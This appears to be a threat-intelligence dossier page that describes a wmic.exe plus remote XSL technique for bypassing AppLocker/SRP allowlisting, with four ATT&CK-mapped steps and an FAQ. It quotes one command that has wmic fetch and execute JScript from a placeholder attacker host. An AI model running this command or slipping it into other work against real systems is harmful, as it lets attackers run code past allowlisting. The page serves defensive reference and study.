Skip to content
← RegistryDossier · 4 steps · 3 edges

wmic + XSL → AppLocker / SRP bypass

wmic os get /format:'http://attacker/x.xsl' renders the result by fetching attacker XSL. The XSL contains JScript blocks — runs in wmic's signed-binary context, bypasses allowlisting.

Filed by AD Knowledge Base
§ Kill-chainDrag · zoom · scroll

§ Context

Assumed environment: same as squiblydoo — endpoint enforces app allowlisting that trusts wmic.exe (signed). wmic is present on every Windows since Vista.

§ Steps

  1. 01
    JScript stager firesExecution
    T1059Command and Scripting Interpreter
  2. 02
    Drop scheduled task / WMI subscriptionPersistence
    W-SCHEDTASK-HIJACKScheduled Task Hijack
  3. 03
    Host attacker XSL with JScript payloadResource Development
    T1583Acquire Infrastructure
  4. 04
    wmic os get /format remote XSLExecution
    LOL-WMICwmic.exe XSL Execution

§ References

§ Frequently asked

What is the "wmic + XSL → AppLocker / SRP bypass" attack path?
wmic os get /format:'http://attacker/x.xsl' renders the result by fetching attacker XSL. The XSL contains JScript blocks — runs in wmic's signed-binary context, bypasses allowlisting. It chains 4 steps drawn from real-world offensive-security techniques.
What starting position does this attack require?
The first step is JScript stager fires (T1059) — a execution primitive. Assumed environment: same as squiblydoo — endpoint enforces app allowlisting that trusts wmic.
What is the final impact of this kill-chain?
The final step lands on wmic os get /format remote XSL (LOL-WMIC), which falls under Execution. From here, an operator typically pivots into post-exploitation or maintains persistence.
How can defenders detect or prevent this attack?
Detection and prevention vary per step. Refer to each linked MITRE ATT&CK entry under "References" — every technique on that page lists defensive controls, detection telemetry, and known threat-actor usage.

§ Related dossiers